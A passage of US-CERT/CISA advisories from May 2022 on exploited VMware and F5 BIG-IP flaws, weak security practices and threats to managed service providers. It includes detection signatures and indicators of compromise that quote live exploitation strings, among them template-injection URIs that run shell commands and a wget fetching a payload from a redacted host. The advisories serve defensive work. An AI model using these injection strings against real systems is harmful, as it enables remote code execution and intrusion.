  • CVE-2022-22960 enables a malicious actor with local access to escalate privileges to root due to improper permissions in support scripts. This vulnerability affects the following products:[2]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM, versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • vRA, version 7.6 
    • VMware Cloud Foundation, 3.x, 4.x, 
    • vRealize Suite LifeCycle Manager, 8.x

According to trusted third-party reporting, threat actors may chain these vulnerabilities. At one compromised organization, on or around April 12, 2022, an unauthenticated actor with network access to the web interface leveraged CVE-2022-22954 to execute an arbitrary shell command as a VMware user. The actor then exploited CVE-2022-22960 to escalate the user’s privileges to root. With root access, the actor could wipe logs, escalate permissions, and move laterally to other systems.

Threat actors have dropped post-exploitation tools, including the Dingo J-spy webshell. During incident response activities, CISA observed, on or around April 13, 2022, threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell. Around the same period, a trusted third party observed threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell at one other organization. According to the third party, the actors may have also dropped the Dingo J-spy webshell at a third organization. Note: analysis of the first compromise and associated malware is ongoing, and CISA will update information about this case as we learn more.

Detection Methods Signatures

Note: servers vulnerable to CVE-2022-22954 may use Hypertext Transfer Protocol Secure (HTTPS) to encrypt client/server communications. Secure Sockets Layer (SSL)/Transport Layer Security (TLS) decryption can be used as a workaround for network-based detection and threat hunting efforts.

The following CISA-created Snort signature may detect malicious network traffic related to exploitation of CVE-2022-22954:

alert tcp any any -> any $HTTP_PORTS (msg:"VMware:HTTP GET URI contains '/catalog-portal/ui/oauth/verify?error=&deviceUdid=':CVE-2022-22954"; sid:1; rev:1; flow:established,to_server; content: "GET"; http_method; content:"/catalog-portal/ui/oauth/verify?error=&deviceUdid="; http_uri; reference:cve,2022-22954; reference:url,github.com/sherlocksecurity/VMware-CVE-2022-22954; reference:url,github.com/tunelko/CVE-2022-22954-PoC/blob/main/CVE-2022-22954.py; priority:2; metadata:service http;)

The following third-party Snort signature may detect exploitation of VMware Workspace ONE Access server-side template injection:

10000001alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Workspace One Serverside Template Injection";content:"GET"; http_method; content:"freemarker.template.utility.Execute";nocase; http_uri; priority:1; sid:;rev:1;)

The following third-party YARA rule may detect unmodified instances of the Dingo J-spy webshell on infected hosts:

rule dingo_jspy_webshell
{
strings:
$string1 = "dingo.length"
$string2 = "command = command.trim"
$string3 = "commandAction"
$string4 = "PortScan"
$string5 = "InetAddress.getLocalHost"
$string6 = "DatabaseManager"
$string7 = "ExecuteCommand"
$string8 = "var command = form.command.value"
$string9 = "dingody.iteye.com"
$string10 = "J-Spy ver"
$string11 = "no permission ,die"
$string12 = "int iPort = Integer.parseInt"
condition:
filesize < 50KB and 12 of ($string*)
}

Note: the Dingo J-spy webshell is an example of post-exploitation tools that actors have used. Administrators should examine their network for any sign of post-exploitation activity.

Behavioral Analysis and Indicators of Compromise

Administrators should conduct behavioral analysis on root accounts of vulnerable systems by:

  • Using the indicators listed in table 1 to detect potential malicious activity.
  • Reviewing systems logs and gaps in logs.
  • Reviewing abnormal connections to other assets.
  • Searching the command-line history.
  • Auditing running processes.
  • Reviewing local user accounts and groups.  
  • Auditing active listening ports and connections.

 

Table 1: Third-party IOCs for Exploitation of CVE-2022-22954 and CVE-2022-22960

Indicator

Comment

IP Addresses

136.243.75[.]136

On or around April 12, 2022, malicious cyber actors may have used this German-registered IP address to conduct the activity. However, the actors may have used the Privax HMA VPN client to conduct operations.

Scanning, Exploitation Strings, and Commands Observed

catalog-portal/ui/oauth/verify 

 

catalog

portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat  /etc/hosts")}  

 

/catalog

portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget  -U "Hello 1.0" -qO - http://[REDACTED]/one")} 

 

freemarker.template.utility.Execute

Search for this function in:

opt/vmware/horizon/workspace/logs/greenbox_web.log.

 

freemarker.template.utility.Execute may be legitimate but could also indicate malicious shell commands.

/opt/vmware/certproxy/bing/certproxyService.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/exportCustomGroupUsers.sh

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/extractUserIdFromDatabase.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

Files

horizon.jsp 

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

jquery.jsp

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

Webshells

jspy 

 

godzilla  

 

tomcatjsp 

 

Incident Response

If administrators discover system compromise, CISA recommends they:

  1. Immediately isolate affected systems. 
  2. Collect and review relevant logs, data, and artifacts.
  3. Consider soliciting support from a third-party incident response organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)
Mitigations

CISA recommends organizations update impacted VMware products to the latest version or remove impacted versions from organizational networks. CISA does not endorse alternative mitigation options. As noted in ED 22-03 Mitigate VMware Vulnerabilities, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of impacted VMware products and deploy updates in VMware Security Advisory VMSA-2022-0014 or to remove the affected software from the agency network until the updates can be applied.

Resources Contact Information

CISA encourages recipients of this CSA to report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

References Revisions
  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-138A: Threat Actors Exploiting F5 BIG-IP CVE-2022-1388

US-CERT Alerts - Wed, 05/18/2022 - 14:00
Original release date: May 18, 2022
Summary

Actions for administrators to take today:
• Do not expose management interfaces to the internet.
• Enforce multi-factor authentication.
• Consider using CISA’s Cyber Hygiene Services.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) in response to active exploitation of CVE-2022-1388. This recently disclosed vulnerability in certain versions of F5 Networks, Inc., (F5) BIG-IP enables an unauthenticated actor to gain control of affected systems via the management port or self-IP addresses. F5 released a patch for CVE-2022-1388 on May 4, 2022, and proof of concept (POC) exploits have since been publicly released, enabling less sophisticated actors to exploit the vulnerability. Due to previous exploitation of F5 BIG-IP vulnerabilities, CISA and MS-ISAC assess unpatched F5 BIG-IP devices are an attractive target; organizations that have not applied the patch are vulnerable to actors taking control of their systems.

According to public reporting, there is active exploitation of this vulnerability, and CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices (mostly with publicly exposed management ports or self IPs) in both government and private sector networks. CISA and MS-ISAC strongly urge users and administrators to remain aware of the ramifications of exploitation and use the recommendations in this CSA—including upgrading their software to fixed versions—to help secure their organization’s systems against malicious cyber operations. Additionally, CISA and MS-ISAC strongly encourage administrators to deploy the signatures included in this CSA to help determine whether their systems have been compromised. CISA and MS-ISAC especially encourage organizations who did not patch immediately or whose F5 BIG-IP device management interface has been exposed to the internet to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 500kb).

Technical Details

CVE-2022-1388 is a critical iControl REST authentication bypass vulnerability affecting the following versions of F5 BIG-IP:[1]

  • 16.1.x versions prior to 16.1.2.2 
  • 15.1.x versions prior to 15.1.5.1 
  • 14.1.x versions prior to 14.1.4.6 
  • 13.1.x versions prior to 13.1.5 
  • All 12.1.x and 11.6.x versions

An unauthenticated actor with network access to the BIG-IP system through the management port or self IP addresses could exploit the vulnerability to execute arbitrary system commands, create or delete files, or disable services. F5 released a patch for CVE-2022-1388 for all affected versions—except 12.1.x and 11.6.x versions—on May 4, 2022 (12.1.x and 11.6.x versions are end of life [EOL], and F5 has stated they will not release patches).[2]

POC exploits for this vulnerability have been publicly released, and on May 11, 2022, CISA added this vulnerability its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. Due to the POCs and ease of exploitation, CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices in government and private networks. 

Dection Methods

CISA recommends administrators, especially of organizations who did not immediately patch, to:

  • See the F5 Security Advisory K23605346 for indicators of compromise. 
  • See the F5 guidance K11438344 if you suspect a compromise. 
  • Deploy the following CISA-created Snort signature:
alert tcp any any -> any $HTTP_PORTS (msg:”BIG-IP F5 iControl:HTTP POST URI ‘/mgmt./tm/util/bash’ and content data ‘command’ and ‘utilCmdArgs’:CVE-2022-1388”; sid:1; rev:1; flow:established,to_server; flowbits:isnotset,bigip20221388.tagged; content:”POST”; http_method; content:”/mgmt/tm/util/bash”; http_uri; content:”command”; http_client_body; content:”utilCmdArgs”; http_client_body; flowbits:set,bigip20221388.tagged; tag:session,10,packets; reference:cve-2022-1388; reference:url,github.com/alt3kx/CVE-2022-1388_PoC; priority:2; metadata:service http;)

Additional resources to detect possible exploitation or compromise are identified below:

  • Emerging Threats suricata signatures. Note: CISA and MS-ISAC have verified these signatures are successful in detection of both inbound exploitation attempts (SID: 2036546) as well as post exploitation, indicating code execution (SID: 2036547).
    • SID 2036546
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass (CVE 2022-1388) M1"; flow:established,to_server; content:"POST"; http_method; content:"/mgmt/tm/util/bash"; http_uri; fast_pattern; content:"Authorization|3a 20|Basic YWRtaW46"; http_header; content:"command"; http_client_body; content:"run"; http_client_body; distance:0; content:"utilCmdArgs"; http_client_body; distance:0; http_connection; content:"x-F5-Auth-Token"; nocase; http_header_names; content:!"Referer"; content:"X-F5-Auth-Token"; flowbits:set,ET.F5AuthBypass; reference:cve,2022-1388; classtype:trojan-activity; sid:2036546; rev:2; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;
  • SID SID 2036547
alert http $HOME_NET any -> any any (msg:"ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass Server Response (CVE 2022-1388)"; flow:established,to_client; flowbits:isset,ET.F5AuthBypass; content:"200"; http_stat_code; file_data; content:"kind"; content:"tm|3a|util|3a|bash|3a|runstate"; fast_pattern; distance:0; content:"command"; distance:0; content:"run"; distance:0; content:"utilCmdArgs"; distance:0; content:"commandResult"; distance:0; reference:cve,2022-1388; classtype:trojan-activity; sid:2036547; rev:1; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;)

 

Incident Response 

If an organization’s IT security personnel discover system compromise, CISA and MS-ISAC recommend they:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Provision new account credentials.
  4. Limit access to the management interface to the fullest extent possible.
  5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
  6. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response. 

Mitigations

CISA and MS-ISAC recommend organizations:

  • Upgrade F5 BIG-IP software to fixed versions; organizations using versions 12.1.x and 11.6.x should upgrade to supported versions. 
  • If unable to immediately patch, implement F5’s temporary workarounds:
    • Block iControl REST access through the self IP address.
    • Block iControl REST access through the management interface.
    • Modify the BIG-IP httpd configuration. 

See F5 Security Advisory K23605346 for more information on how to implement the above workarounds. 

CISA and MS-ISAC also recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability program in place and that it prioritizes patch management and vulnerability scanning. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all SLTT organizations and public and private sector critical infrastructure organizations: https://www.cisa.gov/cyber-hygiene-services.
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.
References Revisions
  • Initial Version: May 18, 2022

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Categories: LATEST ALERT

AA22-137A: Weak Security Controls and Practices Routinely Exploited for Initial Access

US-CERT Alerts - Tue, 05/17/2022 - 14:00
Original release date: May 17, 2022
Summary

Best Practices to Protect Your Systems:
• Control access.
• Harden Credentials.
• Establish centralized log management.
• Use antivirus solutions.
• Employ detection tools.
• Operate services exposed on internet-accessible hosts with secure configurations.
• Keep software updated.

Cyber actors routinely exploit poor security configurations (either misconfigured or left unsecured), weak controls, and other poor cyber hygiene practices to gain initial access or as part of other tactics to compromise a victim’s system. This joint Cybersecurity Advisory identifies commonly exploited controls and practices and includes best practices to mitigate the issues. This advisory was coauthored by the cybersecurity authorities of the United States,[1],[2],[3] Canada,[4] New Zealand,[5],[6] the Netherlands,[7] and the United Kingdom.[8]

Download the PDF version of this report (pdf, 430kb).

Technical Details

Malicious actors commonly use the following techniques to gain initial access to victim networks.[TA0001]

Malicious cyber actors often exploit the following common weak security controls, poor configurations, and poor security practices to employ the initial access techniques.

  • Multifactor authentication (MFA) is not enforced. MFA, particularly for remote desktop access, can help prevent account takeovers. With Remote Desktop Protocol (RDP) as one of the most common infection vector for ransomware, MFA is a critical tool in mitigating malicious cyber activity. Do not exclude any user, particularly adminstrators, from an MFA requirement. 
  • Incorrectly applied privileges or permissions and errors within access control lists. These mistakes can prevent the enforcement of access control rules and could allow unauthorized users or system processes to be granted access to objects. 
  • Software is not up to date. Unpatched software may allow an attacker to exploit publicly known vulnerabilities to gain access to sensitive information, launch a denial-of-service attack, or take control of a system. This is one of the most commonly found poor security practices.
  • Use of vendor-supplied default configurations or default login usernames and passwords. Many software and hardware products come “out of the box” with overly permissive factory-default configurations intended to make the products user-friendly and reduce the troubleshooting time for customer service. However, leaving these factory default configurations enabled after installation may provide avenues for an attacker to exploit. Network devices are also often pre-configured with default administrator usernames and passwords to simplify setup. These default credentials are not secure—they may be physically labeled on the device or even readily available on the internet. Leaving these credentials unchanged creates opportunities for malicious activity, including gaining unauthorized access to information and installing malicious software. Network defenders should also be aware that the same considerations apply for extra software options, which may come with preconfigured default settings.
  • Remote services, such as a virtual private network (VPN), lack sufficient controls to prevent unauthorized access. During recent years, malicious threat actors have been observed targeting remote services. Network defenders can reduce the risk of remote service compromise by adding access control mechanisms, such as enforcing MFA, implementing a boundary firewall in front of a VPN, and leveraging intrusion detection system/intrusion prevention system sensors to detect anomalous network activity.  
  • Strong password policies are not implemented. Malicious cyber actors can use a myriad of methods to exploit weak, leaked, or compromised passwords and gain unauthorized access to a victim system. Malicious cyber actors have used this technique in various nefarious acts and prominently in attacks targeting RDP. 
  • Cloud services are unprotected. Misconfigured cloud services are common targets for cyber actors. Poor configurations can allow for sensitive data theft and even cryptojacking.
  • Open ports and misconfigured services are exposed to the internet. This is one of the most common vulnerability findings. Cyber actors use scanning tools to detect open ports and often use them as an initial attack vector. Successful compromise of a service on a host could enable malicious cyber actors to gain initial access and use other tactics and procedures to compromise exposed and vulnerable entities. RDP, Server Message Block (SMB), Telnet, and NetBIOS are high-risk services. 
  • Failure to detect or block phishing attempts. Cyber actors send emails with malicious macros—primarily in Microsoft Word documents or Excel files—to infect computer systems. Initial infection can occur in a variety of ways, such as when a user opens or clicks a malicious download link, PDF, or macro-enabled Microsoft Word document included in phishing emails. 
  • Poor endpoint detection and response. Cyber actors use obfuscated malicious scripts and PowerShell attacks to bypass endpoint security controls and launch attacks on target devices. These techniques can be difficult to detect and protect against. 
Mitigations

Applying the following practices can help organizations strengthen their network defenses against common exploited weak security controls and practices.

Control Access
  • Adopt a zero-trust security model that eliminates implicit trust in any one element, node, or service, and instead requires continuous verification of the operational picture via real-time information from multiple sources to determine access and other system responses.[9],[10] Zero-trust architecture enables granular privilege access management and can allow users to be assigned only the rights required to perform their assigned tasks.
  • Limit the ability of a local administrator account to log in from a remote session (e.g., deny access to this computer from the network) and prevent access via an RDP session. Additionally, use dedicated administrative workstations for privileged user sessions to help limit exposure to all the threats associated with device or user compromise. 
  • Control who has access to your data and services. Give personnel access only to the data, rights, and systems they need to perform their job. This role-based access control, also known as the principle of least priviledge, should apply to both accounts and physical access. If a malicious cyber actor gains access, access control can limit the actions malicious actors can take and can reduce the impact of misconfigurations and user errors. Network defenders should also use this role-based access control to limit the access of service, machine, and functional accounts, as well as the use of management privileges, to what is necessary. Consider the following when implementing access control models:
    • Ensure that access to data and services is specifically tailored to each user, with each employee having their own user account. 
    • Give employees access only to the resources needed to perform their tasks.
    • Change default passwords of equipment and systems upon installation or commissioning. 
    • Ensure there are processes in place for the entry, exit, and internal movement of employees. Delete unused accounts, and immediately remove access to data and systems from accounts of exiting employees who no longer require access. Deactivate service accounts, and activate them only when maintenance is performed.[11]
  • Harden conditional access policies. Review and optimize VPN and access control rules to manage how users connect to the network and cloud services.
  • Verify that all machines, including cloud-based virtual machine instances do not have open RDP ports. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.[12]
Implement Credential Hardening Establish Centralized Log Management
  • Ensure that each application and system generates sufficient log information. Log files play a key role in detecting attacks and dealing with incidents. By implementing robust log collection and retention, organizations are able to have sufficient information to investigate incidents and detect threat actor behavior. Consider the following when implementing log collection and retention: 
    • Determine which log files are required. These files can pertain to system logging, network logging, application logging, and cloud logging. 
    • Set up alerts where necessary. These should include notifications of suspicious login attempts based on an analysis of log files. 
    • Ensure that your systems store log files in a usable file format, and that the recorded timestamps are accurate and set to the correct time zone. 
    • Forward logs off local systems to a centralized repository or security information and event management (SIEM) tools. Robustly protect SIEM tools with strong account and architectural safeguards.
    • Make a decision regarding the retention period of log files. If you keep log files for a long time, you can refer to them to determine facts long after incidents occur. On the other hand, log files may contain privacy-sensitive information and take up storage space. Limit access to log files and store them in a separate network segment. An incident investigation will be nearly impossible if attackers have been able to modify or delete the logfiles.[13]
Employ Antivirus Programs
  • Deploy an anti-malware solution on workstations to prevent spyware, adware, and malware as part of the operating system security baseline.
  • Monitor antivirus scan results on a routine basis.
Employ Detection Tools and Search for Vulnerabilities
  • Implement endpoint and detection response tools. These tools allow a high degree of visibility into the security status of endpoints and can help effectively protect against malicious cyber actors.
  • Employ an intrusion detection system or intrusion prevention system to protect network and on-premises devices from malicious activity. Use signatures to help detect malicious network activity associated with known threat activity.
  • Conduct penetration testing to identify misconfigurations. See the Additional Resources section below for more information about CISA’s free cyber hygiene services, including remote penetration testing.
  • Conduct vulnerability scanning to detect and address application vulnerabilities. 
  • Use cloud service provider tools to detect overshared cloud storage and monitor for abnormal accesses.
Maintain Rigorous Configuration Management Programs
  • Always operate services exposed on internet-accessible hosts with secure configurations. Never enable external access without compensating controls such as boundary firewalls and segmentation from other more secure and internal hosts like domain controllers. Continuously assess the business and mission need of internet-facing services. Follow best practices for security configurations, especially blocking macros in documents from the internet.[14]
Initiate a Software and Patch Management Program 
  • Implement asset and patch management processes to keep software up to date. Identify and mitigate unsupported, end-of-life, and unpatched software and firmware by performing vulnerability scanning and patching activities. Prioritize patching known exploited vulnerabilities.
Additional Resources  References 

[1] United States Cybersecurity and Infrastructure Security Agency 
[2] United States Federal Bureau of Investigation
[3] United States National Security Agency
[4] Canadian Centre for Cyber Security 
[5] New Zealand National Cyber Security Centre 
[6] New Zealand CERT NZ
[7] Netherlands National Cyber Security Centre
[8] United Kingdom National Cyber Security Centre 
[9] White House Executive Order on Improving the Nation’s Cybersecurity
[10] NCSC-NL Factsheet: Prepare for Zero Trust
[11] NCSC-NL Guide to Cyber Security Measures
[12] N-able Blog: Intrusion Detection System (IDS): Signature vs. Anomaly-Based
[13] NCSC-NL Guide to Cyber Security Measures
[14] National Institute of Standards and Technology SP 800-123 – Keeping Servers Secured

Contact

U.S. organizations: To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch at 855-292-3937 or by email at CyWatch@fbi.gov. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca

New Zealand organizations: report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. 

The Netherlands organizations: report incidents to cert@ncsc.nl

United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Caveats

The information you have accessed or received is being provided “as is” for informational purposes only. CISA, the FBI, NSA, CCCS, NCSC-NZ, CERT-NZ, NCSC-NL, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring.

Purpose

This document was developed by CISA, the FBI, NSA, CCCS, NCSC-NZ, CERT-NZ, NCSC-NL, and NCSC-UK in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. 

Revisions
  • May 17, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-131A: Protecting Against Cyber Threats to Managed Service Providers and their Customers

US-CERT Alerts - Wed, 05/11/2022 - 12:00
Original release date: May 11, 2022
Summary

Tactical actions for MSPs and their customers to take today:
• Identify and disable accounts that are no longer in use.
• Enforce MFA on MSP accounts that access the customer environment and monitor for unexplained failed authentication.
• Ensure MSP-customer contracts transparently identify ownership of ICT security roles and responsibilities.

The cybersecurity authorities of the United Kingdom (NCSC-UK), Australia (ACSC), Canada (CCCS), New Zealand (NCSC-NZ), and the United States (CISA), (NSA), (FBI) are aware of recent reports that observe an increase in malicious cyber activity targeting managed service providers (MSPs) and expect this trend to continue.[1] This joint Cybersecurity Advisory (CSA) provides actions MSPs and their customers can take to reduce their risk of falling victim to a cyber intrusion. This advisory describes cybersecurity best practices for information and communications technology (ICT) services and functions, focusing on guidance that enables transparent discussions between MSPs and their customers on securing sensitive data. Organizations should implement these guidelines as appropriate to their unique environments, in accordance with their specific security needs, and in compliance with applicable regulations. MSP customers should verify that the contractual arrangements with their provider include cybersecurity measures in line with their particular security requirements.

The guidance provided in this advisory is specifically tailored for both MSPs and their customers and is the result of a collaborative effort from the United Kingdom National Cyber Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), the United States' Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) with contributions from industry members of the Joint Cyber Defense Collaborative (JCDC). Organizations should read this advisory in conjunction with NCSC-UK guidance on actions to take when the cyber threat is heightened, CCCS guidance on Cyber Security Considerations for Consumers of Managed Services, and CISA guidance provided on the Shields Up and Shields Up Technical Guidance webpages.

Managed Service Providers

This advisory defines MSPs as entities that deliver, operate, or manage ICT services and functions for their customers via a contractual arrangement, such as a service level agreement. In addition to offering their own services, an MSP may offer services in conjunction with those of other providers. Offerings may include platform, software, and IT infrastructure services; business process and support functions; and cybersecurity services. MSPs typically manage these services and functions in their customer's network environment—either on the customer's premises or hosted in the MSP's data center. Note: this advisory does not address guidance on cloud service providers (CSPs)—providers who handle the ICT needs of their customers via cloud services such as Software-as-a-Service, Platform-as-a-Service, and Infrastructure-as-a-Service; however, MSPs may offer these services as well. (See Appendix for additional definitions.)

MSPs provide services that usually require both trusted network connectivity and privileged access to and from customer systems. Many organizations—ranging from large critical infrastructure organizations to small- and mid-sized businesses—use MSPs to manage ICT systems, store data, or support sensitive processes. Many organizations make use of MSPs to scale and support network environments and processes without expanding their internal staff or having to develop the capabilities internally. 

Threat Actors Targeting MSP Access to Customer Networks

Whether the customer's network environment is on premises or externally hosted, threat actors can use a vulnerable MSP as an initial access vector to multiple victim networks, with globally cascading effects. The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities expect malicious cyber actors—including state-sponsored advanced persistent threat (APT) groups—to step up their targeting of MSPs in their efforts to exploit provider-customer network trust relationships. For example, threat actors successfully compromising an MSP could enable follow-on activity—such as ransomware and cyber espionage—against the MSP as well as across the MSP's customer base.

The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities have previously issued general guidance for MSPs and their customers.[2],[3],[4],[5],[6],[7],[8] This advisory provides specific guidance to enable transparent, well-informed discussions between MSPs and their customers that center on securing sensitive information and data. These discussions should result in a re-evaluation of security processes and contractual commitments to accommodate customer risk tolerance. A shared commitment to security will reduce risk for both MSPs and their customers, as well as the global ICT community. 

Download the Joint Cybersecurity Advisory: Protecting Against Cyber Threats to Managed Service Providers and their Customers (pdf, 697kb).

Recommendations  MSPs and their Customers

The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities recommend MSPs and their customers implement the baseline security measures and operational controls listed in this section. Additionally, customers should ensure their contractual arrangements specify that their MSP implements these measures and controls.

Prevent initial compromise. 

In their efforts to compromise MSPs, malicious cyber actors exploit vulnerable devices and internet-facing services, conduct brute force attacks, and use phishing techniques. MSPs and their customers should ensure they are mitigating these attack methods. Useful mitigation resources on initial compromise attack methods are listed below:

Enable/improve monitoring and logging processes. 

It can be months before incidents are detected, so UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities recommend all organizations store their most important logs for at least six months. Whether through a comprehensive security information and event management (SIEM) solution or discrete logging tools, implement and maintain a segregated logging regime to detect threats to networks. Organizations can refer to the following NCSC-UK guidance on the appropriate data to collect for security purposes and when to use it: What exactly should we be logging? Additionally, all organizations—whether through contractual arrangements with an MSP or on their own—should implement endpoint detection and network defense monitoring capabilities in addition to using application allowlisting/denylisting. 

  • MSPs should log the delivery infrastructure activities used to provide services to the customer. MSPs should also log both internal and customer network activity, as appropriate and contractually agreed upon. 
  • Customers should enable effective monitoring and logging of their systems. If customers choose to engage an MSP to perform monitoring and logging, they should ensure that their contractual arrangements require their MSP to:
    • Implement comprehensive security event management that enables appropriate monitoring and logging of provider-managed customer systems; 
    • Provide visibility—as specified in the contractual arrangement—to customers of logging activities, including provider's presence, activities, and connections to the customer networks (Note: customers should ensure that MSP accounts are properly monitored and audited.); and
    • Notify customer of confirmed or suspected security events and incidents occurring on the provider’s infrastructure and administrative networks, and send these to a security operations center (SOC) for analysis and triage. 
Enforce multifactor authentication (MFA). 

Organizations should secure remote access applications and enforce MFA where possible to harden the infrastructure that enables access to networks and systems.[9],[10] Note: Russian state-sponsored APT actors have recently demonstrated the ability to exploit default MFA protocols; organizations should review configuration policies to protect against “fail open” and re-enrollment scenarios.[11

  • MSPs should recommend the adoption of MFA across all customer services and products. Note: MSPs should also implement MFA on all accounts that have access to customer environments and should treat those accounts as privileged.
  • Customers should ensure that their contractual arrangements mandate the use of MFA on the services and products they receive. Contracts should also require MFA to be enforced on all MSP accounts used to access customer environments.
Manage internal architecture risks and segregate internal networks. 

Organizations should understand their environment and segregate their networks. Identify, group, and isolate critical business systems and apply appropriate network security controls to them to reduce the impact of a compromise across the organization.[12],[13]

  • MSPs should review and verify all connections between internal systems, customer systems, and other networks. Segregate customer data sets (and services, where applicable) from each other—as well as from internal company networks—to limit the impact of a single vector of attack. Do not reuse admin credentials across multiple customers. 
  • Customers should review and verify all connections between internal systems, MSP systems, and other networks. Ensure management of identity providers and trusts between the different environments. Use a dedicated virtual private network (VPN) or alternative secure access method, to connect to MSP infrastructure and limit all network traffic to and from the MSP to that dedicated secure connection. Verify that the networks used for trust relationships with MSPs are suitably segregated from the rest of their networks. Ensure contractual agreements specify that MSPs will not reuse admin credentials across multiple customers.
Apply the principle of least privilege. 

Organizations should apply the principle of least privilege throughout their network environment and immediate update privileges upon changes in administrative roles. Use a tiering model for administrative accounts so that these accounts do not have any unnecessary access or privileges. Only use accounts with full privileges across an enterprise when strictly necessary and consider the use of time-based privileges to further restrict their use. Identify high-risk devices, services and users to minimize their accesses.[14]

  • MSPs should apply this principle to both internal and customer environments, avoiding default administrative privileges. 
  • Customers should ensure that their MSP applies this principle to both provider and customer network environments. Note: customers with contractual arrangements that provide them with administration of MSP accounts within their environment should ensure that the MSP accounts only have access to the services/resources being managed by the MSP.
Deprecate obsolete accounts and infrastructure. 

Both MSPs and customers should periodically review their internet attack surface and take steps to limit it, such as disabling user accounts when personnel transition.[15] (Note: although sharing accounts is not recommended, should an organization require this, passwords to shared account should be reset when personnel transition.) Organizations should also audit their network infrastructure—paying particular attention to those on the MSP-customer boundary—to identify and disable unused systems and services. Port scanning tools and automated system inventories can assist organizations in confirming the roles and responsibilities of systems.

  • Customers should be sure to disable MSP accounts that are no longer managing infrastructure. Note: disabling MSP accounts can be overlooked when a contract terminates.
Apply updates. 

